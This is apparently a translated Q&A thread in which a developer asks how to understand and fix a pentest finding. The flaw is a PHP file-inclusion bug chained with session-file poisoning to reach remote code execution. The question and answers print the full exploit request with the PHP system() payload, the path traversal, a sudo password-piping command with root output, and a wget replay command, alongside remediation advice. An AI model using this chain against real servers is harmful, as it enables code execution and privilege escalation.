Consiglio sui risultati di Pentest
Sono fuori dalla mia profondità qui. Abbiamo appena fatto un pentest e abbiamo avuto un risultato critico:
if (file_exists($includeFile)) { $f_type = filetype($includeFile); if ($f_info['extension'] == 'md') {
$markdown = file_get_contents($includeFile);
HTMLClass::show($markdown, FALSE, FALSE, FALSE, TRUE); } else { require_once($includeFile);
}
}
Possiamo attivarlo open_basedirin PHP come (possibile?) Correzione parziale, ma sono sicuro che occorre fare di più.
Voglio risolverlo, ma non ho idea di come interpretare o riprodurre i loro risultati o da dove iniziare con la correzione. Non capisco quanto segue:
Essentially the code above means that sending php[file]=/../../../arbitrary_file as POST payload, the
application will pick the value from the specified parameter and include it as a file from the file
system. If it happens to contain PHP code, it will be parsed and executed.
To exploit this behavior, an attacker can attempt to fill his session variable with PHP code. In
this case it is sufficient to issue a request which causes the session file on the server to be
filled with the PHP contents of the query string (shown below) that, when included, result in
arbitrary code being run remotely.
A quanto pare hanno fatto la seguente richiesta:
POST /?page=Welcome<?php+echo+123;system($_POST[xxx]);?> HTTP/1.1
Host: my.host.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://my.host.com/?page=Welcome
Cookie: PHPSESSID=13371
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
php[file]=/../../../../../../var/lib/php5/sess_13371&xxx=sh -c "sleep 1; echo some-password" | script -qc 'su -c "echo \"some-password\" | sudo -S id" - a-username'
Apparentemente questo ha portato a:
[...]
MB";s:27:"memory_get_peak_usage(TRUE)";s:6:"2.5 MB";}i:4;a:9:{s:2:"id";i:4;s:5:"title";s:58:"$_GET start - Welcome123<br /><b>Notice</b>: Use of undefined constant xxx - assumed 'xxx' in <b>/var/lib/php5/sess_testtesta</b> on line <b>1</b><br />
Password:
[sudo] password for root: uid=0(root) gid=0(root) groups=0(root)";s:9:"backtrace";s:14:"a-file.php
[...]
Cosa c'è php[file]in questo contesto? E come potrebbe essere utilizzato per fare ciò che si dice sia stato fatto? Tutto quello che ho potuto trovare con POST e PHP in stretta vicinanza nel nostro codice era il seguente, in un file JS.
$.post("",{
php: "some-file.php",
id: RecID
}
Non sei sicuro di come questo si relaziona tra loro? O anche se lo fa?
Spero che quanto sopra sia abbastanza informazioni, poiché è tutto ciò con cui devo lavorare. Nota: ho modificato alcune informazioni sensibili nella richiesta, ma solo nomi host e simili, nient'altro che potrebbe essere materiale (credo).
Come posso simulare il loro test e proteggere il nostro codice?
modificare
Sono consapevole che php[file]è un array, ma il nome in particolare è significativo in questo caso? O potrebbe essere chiamato foo[bar]e avere lo stesso effetto? E in che modo fornire questo array in un POST causa questo? Come simulo questo POST? Non ottengo il loro output utilizzando Postman, forse perché lo sto facendo male.
Modifica 2
Ho ricevuto ulteriori feedback dallo sviluppatore originale:
Per prima cosa ottengono l'ID della sessione corrente
Quindi usano "? Page = ..." per aggiungere codice php al file di sessione. Questa è infatti la chiave. Tramite la variabile di sessione hanno il potere di scrivere su un file sul disco. Un file il cui nome e percorso sono noti, poiché contiene l'ID di sessione.
E poi mettono quel file nella chiamata $ _POST ['php'], il contenuto PHP in esso viene eseguito (questo è ovviamente il principale buco di sicurezza, ODB consente agli utenti di includere ed eseguire qualsiasi file), inclusa qualsiasi chiamata a "sistema" .
La loro specifica chiamata a "system" esegue il contenuto di $ _POST ['xxx'], che definiscono anche nella chiamata - lì usano il nome utente e la password a cui avevano accesso.
Se rimuoviamo la possibilità di includere ed eseguire qualsiasi file PHP e se controlliamo più attentamente ciò che effettivamente memorizziamo nella variabile di sessione, allora dovremmo essere al sicuro.
Questo è anche il motivo per cui deve essere inviato due volte: il contenuto va nel file di sessione solo dopo la prima esecuzione!
Risposte
php[file]sta definendo un array denominato php con una voce denominata file(e value /../../../../../../var/lib/php5/sess_13371)
Presumibilmente, riempi $includeFilecome
$includeFile = "app/includes/" . $php['file'];
Che poi diventerebbe qualcosa come "app / includes /../../../../../../ var / lib / php5 / sess_13371 and end up reading (and since it is treated as php, executing)/ var / lib / php5 / sess_13371`.
Non dovresti fidarti dell'utente per fornire il file da eseguire. Idealmente, avresti un piccolo elenco di valori consentiti, che potresti quindi mappare ai file appropriati.
Se provassi a fare la più piccola modifica possibile, probabilmente farei un preg_match('/^[A-Za-z]+\.php$', <parameter>);filtro in modo che possano caricare i file solo su una singola cartella (supponendo che ci sia una cartella con quelli e solo quei file, sicuri da eseguire).
La parte in cui controlli se si tratta di un file markdown per mostrarlo abbastanza mi sconcerta, però. Se questi sono file forniti dall'utente e non file statici dalla tua app, non vuoi eseguirli come php. Potresti usarli readfileper passarli allo schermo, non require/ include!
Anche allora, ciò consentirebbe comunque l'iniezione di javascript, che potresti risolvere con qualcosa di simile echo htmlspecialchars(file_get_contents($includeFile));. E senza il controllo dei percorsi forniti, ciò consentirebbe comunque a un utente malintenzionato che controlla il nome del file di leggere i file che non dovrebbero (come i /etc/passwedfile di configurazione dell'app).
Aggiornamento: come replicare la loro richiesta
È possibile replicare la richiesta di cui sopra utilizzando più strumenti. Ad esempio, utilizzando wget:
wget 'https://my.host.com/?page=Welcome<?php+echo+123;system($_POST[xxx]);?>' U 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' --header 'Accept: /' --header 'Accept-Language: en-US,en;q=0.5' --header 'Accept-Encoding: gzip, deflate' --header 'X-Requested-With: XMLHttpRequest' --header 'Referer: https://my.host.com/?page=Welcome' --header 'Cookie: PHPSESSID=13371' --post-data='php[file]=/../../../../../../var/lib/php5/sess_13371&xxx=sh -c "sleep 1; echo some-password" | script -qc %27su -c "echo \"some-password\" | sudo -S id" - a-username%27'
(la maggior parte delle intestazioni sarà irrilevante per il problema in questione, però)
Inoltre, ovviamente, puoi sempre copiare direttamente la richiesta utilizzando netcat ( nc) o -con https- openssl s_cliento gnutls-cli.
PHP memorizza i dati della sessione in file. Sul tuo server, li memorizza in / var / lib / php5 /. Il file si chiamerà sess_ [session id]. L'ID di sessione in questo caso è il valore del cookie PHPSESSID. Guarda anche:
https://stackoverflow.com/questions/15852537/how-phpsessid-are-saved
Quindi hanno modificato il valore del cookie PHPSESSID in "13371". Ciò ha portato PHP a creare il file / var / lib / php5 / sess_13371.
PHP memorizzerà la pagina corrente che stai visitando nella memoria della sessione, quindi nel file della sessione. In questo caso, visitano l'URL:
/?page=Welcome<?php+echo+123;system($_POST[xxx]);?>
PHP memorizzerà questa variabile di pagina nel file di sessione (/ var / lib / php5 / sess_13371) in testo normale insieme ad alcune cose binarie attorno ad essa. Quindi il file di sessione ora ha un contenuto simile a:
[binary stuff]page=Welcome<?php+echo+123;system($_POST[xxx]);?>[binary stuff]
Ora, a causa della vulnerabilità, possono chiamare require_once su questo file, con conseguente PHP che lo esegue ( php[file]è la variabile che finirà come variabile $includeFilenel codice). A PHP non interessa nulla che non sia contenuto nei tag PHP (<?). Quindi, verrà eseguito echo 123; system($_POST[xxx]);.
systemeseguirà qualsiasi comando di sistema, che in questo caso è definito dalla variabile POST xxx. Quindi possono solo dire xxx=whoami, per eseguire il comando whoami. Ha senso?